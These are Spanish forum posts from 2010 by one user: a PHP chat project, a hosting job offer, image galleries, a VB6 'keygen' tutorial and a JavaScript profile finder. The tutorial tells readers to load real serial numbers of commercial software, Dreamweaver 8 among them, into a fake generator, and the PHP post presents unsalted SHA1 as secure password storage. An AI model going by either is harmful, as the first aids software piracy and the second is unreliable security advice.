Antes que nada quiero mencionar que eh estado enfermo de Amigdalitis Crónica Aguda y estoy del cul*, por lo tanto no he adelantado casi nada, hice varias VP para que las observen, cabe mencionar que el diseño es cualquiera ya que primero me aseguro que el código sirva bien para luego hacerle un buen diseño.


Notas:
Aún falta el menú, ya esta hecho pero no lo he subido, será algo elegante.

Características:

1. Chat con un refresh de cada 5 segundos para ir mostrando los nuevos mensajes.
2. Rangos.
3. Placas.
4. Panel de administración (Todo en 1 PHP).
5. Registro:
   5.1. Sessiones para evitar la creaciones de clónes.
   5.2. Comprobará Usuario existente.
   5.3. Comprobará Nick existente.
   5.4. Comprobará Mail existente.
   5.5. Obtendrá la IP pública para dificultar la creación de clónes.
   5.1. Contraseña encriptada en sha1 (Ya que es one-way y será díficil desencriptar).
6. Perfil de usuarios (Tál vez digan que es el de SoyJoaquin. pero yo no utilizo fopen, si no que hago un query a la base de datos para comprobar que el usuario exista, si no mostrará un false)
7. Panel de usuario que tendrá:
   7.1. Cambiar datos (Mail, Nick, Habbo).
   7.2. Rango
   7.3. Alertas nuevas.
8. Alertas generales que serán mostradas en la parte superior del chat.
9. El diseño será totalmente adaptable ya que simplemente podrán sustituir las imágenes y subirlas al FTP y se hará el cambio automáticamente.
10. Depuración del código para evitar tener mas de 20 archivos PHP.
12. Recuperar contraseña y cambiarla por otra al azar.
   12.1 El diseño del correo es totalmente modificable.
13. Otras cosas.


Estas imágenes que mostraré son No-Oficiales, solo es para que vayan observando.

Todo lo que mostraré actualmente son 6 archivos PHP que se dividen en:
Chat.
La configuración a la Base de Datos.
Donde se mostrarán los comentarios.
La página de miembros.
Donde se registrarán.
Y la página príncipal.

Archivos:


Registro:


Chat príncipal:


Recordar contraseña:


Contraseña envíada:


Correo que te llega:


Miembro encontrado:


Miembro no encontrado:


Despedida:
Estaré trabajando para tratar de acabarlo lo más pronto posible.

11
El motivo de este post es para ofrecer trabajo a una persona que tenga tiempo y un poco de "conocimientos" en el área de marketing ó prácticamente convencer a cualquiera a que nos contrate.

La página es www.hostex.org ó www.ihostex.org.

Como podrán observar realmente no he hecho "NADA" por falta de tiempo, los precios realmente son inestables.

Nada es ilegal, fue adquirído legalmente más sin embargo no cuento con ciertas licencias para poder proveer estos servicios de alojamiento web.

Este servicio (Hostex) es más que nada para ofrecer servicio a amigos/conocidos con una importante rebaja.

Actualmente no están muchos servicios, son estos:

Reseller Hosting Ilimitado.
Dominios Ilimitados (com/net/org/biz/info/me/asia/eu/es).
Sub-master Reseller con 1 TB de espacio para vender Resellers.

Lo único que pediría sería que pueda colaborar con una de estas áreas:

·Checar los hostings con una rutina diaria para ver que no tenga contenido que pueda envíar la IP a denunciada y "cage" todo.
·Soporte técnico
·Diseñar

La paga sería un ejemplo, a mi me tocaría un 60 % y a esta persona un 40 % de la ganancia semanal ó mensual.

Inclusive si quiere cambiar su paga por servicios en este mismo se puede hacer.

Tambien aunque no trabajes y consigas clientes sería así:

Me tocaría un 50% y al que consiguió un cliente el otro 50%.

Es como quien dice un hobbie para ganar un dinerito extra.

12
Exposición de Diseños / Diseño básico (Galería para firmas de PHPeros)
« en: 09 de Marzo de 2010, 22:22:36 pm »
Estás firmas son sumamente sencillas:

Esta es de 500x120:



Esta es para firma que es de 300x100:




Suerte.

13
Exposición de Diseños / Diseño básico (Galería viejísima) [Xt3mP]
« en: 09 de Marzo de 2010, 07:42:30 am »
Imágen 1:


Imágen 2:


Imágen 3:


Imágen 4:


Imágen 5:


Y tenía muchísimas más pero lamentablemente se me jodió el HD (Hard Disk) y perdí todo.

Suerte.

14
Visual Basic / [Tutorial] Crear un keygen literalmente en VB6
« en: 09 de Marzo de 2010, 07:32:11 am »
Antes de continuar quisiera mencionar que mis conocimientos acerca de Visual Basic 6.0 son casi núlos, por lo tanto espero comentarios constructivos >.<, simplemente aporto para agarrar mas cotorreo entre todos.
#########################################################################

Video por si no quieren leer:
http://www.youtube.com/watch?v=q2OkR53bTvU

#########################################################################

En este tutorial aprenderemos a lo que seria como simular el funcionamiento de un Generador de Serial Numbers en el lenguaje de programacion llamado Visual Basic 6.0 ya que muchos tienen curiosidad de crear sus propios KeyGens (Key Generator/Generador de llaves).

Cabe mencionar que no es un KeyGen original ya que uno Empresarial (Literalmente) contiene el algoritmo que los genera aleatoriamente para validar el programa, esta ocasion no haremos el algoritmo, simplemente haremos un "simulador" a simple vista, obviamente si pasan el source se daran cuenta que no es uno original, pero cualquier cybernauta que lo utilize creara que si lo es.

Lamento no ponerles un link de descarga pero yo lo tenia en un USB y son 4 partes; no tengo tiempo para subirlas.

Lo primero que haremos una vez instalado el VB6 sera abrir un nuevo projecto "Standart EXE/ EXE Estandar" como lo muestra la siguiente imagen:



Una vez que hallamos hecho el primero paso, nos iremos a el panel izquierdo de herramietnas (Esta de ese lado por Default) y daremos un click en el TextBox/Casilla de texto como lo muestra la siguiente imagen y haremos una casilla de texto en el Form1 (Default):



Despues, nos iremos al mismo panel pero esta vez buscaremos el Boton "CommandButton/Boton de Comando" y haremos lo mismo que el paso 2, haremos un CommandButton en el Form1 (Default):



Por lo tanto ya tendriamos un TextBox y un CommandButton en nuestro Form1, seguido de estos pasos daremos doble click en el CommandButton/Boton de Comando para comenzar a escribir el codigo, nos mostrara algo asi:



Hare una breve pausa, esto en si no es un KeyGen ya que no tiene el algoritmo de uno, lo que hara es que nosotros le guardaremos en variables valores que equivaldran a nuestros SN (Serials Numbers), me refiero a que por ejemplo, X = Uno y Y = Dos, cuando de un Click mostrara el Valor de X, despues otro click y mostrara el valor de Y.

Ok, seguimos, nosotros debemos ordenarle los valores de nuestros SN (Serials Numbers) y lo haremos con el siguiente codigo:

Private Sub Command1_Click()
Text1.Text = Int(Rnd() * 8)
Select Case Text1.Text
Case 0
Text1.Text = "Serial 1"
Case 1
Text1.Text = "Serial 2"
Case 2
Text1.Text = "Serial 3"
Case 3
Text1.Text = "Serial 4"
Case 4
Text1.Text = "Serial 5"
Case 5
Text1.Text = "Serial 6"
Case 6
Text1.Text = "Serial 7"
Case 7
Text1.Text = "Serial 8"
Case 8
Text1.Text = "Serial 9"
End Select
End Sub

// La linea Text1.Text = Int(Rnd() * 8) es Text1.Text = Int(Rnd() * 8 ) solo que el 8 y ) van juntos, solo que los separe por que si no muestra icono.

Como podran observar indicamos que el caso 0 es igual a el Serial 1, el caso 1 es igual a el Serial 2 y asi sucesivamente, es cuestion de que ustedes solo cambien "Serial Numero" por el verdadero Serial Number de "x" programa que quieran generar.

Rnd es para generar un valor entero aleatorio, (En este caso, seria el serial number) y pues los "Cases" es depende de cuantos clicks des cual Serial mostrara, aunque como mencione ahorita no es una secuencia de escalera, se selecciona un Serial aleatorio y lo muestra.

Deberan tener algo asi:



Y pues solo es cuestion que ustedes le metan diseño para que les quede algo asi (Este KeyGen es para DreamWeaver 8.0 creado por mi):



Espero que entiendan ya que no es mucha ciencia realmente, obviamente los invito a que estudien VB6 para ya ponerle Api's, entre otras cosas.

Suerte.

15
JavaScript / [Aporte] Buscador de Homes v1.0
« en: 09 de Marzo de 2010, 05:15:29 am »
¿Qué tal? Esta vez les traigo esta "mini-utilidad" que les facilitará a los usuarios/amigos que frecuenten su web fan de habbo (ú otra web) ir a una "home" en específico con el hecho de simplemente escribir el nombre del keko y dar click en IR.

El código prácticamente parte de JavaScript y al leerlo verán que no tiene mucha ciencia.

Código:
Código: (html) [Seleccionar]
<html>
<!-- By Xt3mP -->
<head><title>Buscador de Homes v1.0</title></head>
<body>
<script type="text/javascript">
irhome = function(){
var home = document.getElementById("home").value;
if(home=="")
alert("Introduce el nombre del habbo");
else
window.open('http://habbo.es/home/'+home,'Home de '+home);
}
popup = function(url, nombre, ancho, alto, propiedades) {
var izq = (screen.width - ancho) / 2;
var arr = (screen.height - alto) / 2;
window.open(url, nombre, 'width=' + ancho + ',height=' + alto + ',left=' + izq + ',top=' + arr + ',' + propiedades);
}
</script>
<input name="home" type="text" id="home" size="7" />
<input type="submit" name="submit" id="submit" onclick="irhome()" value="IR!" />
</body>
</html>

Demo: http://xtemp.org/habbo/buscador_de_homes/
Suerte.

Páginas: [1] 2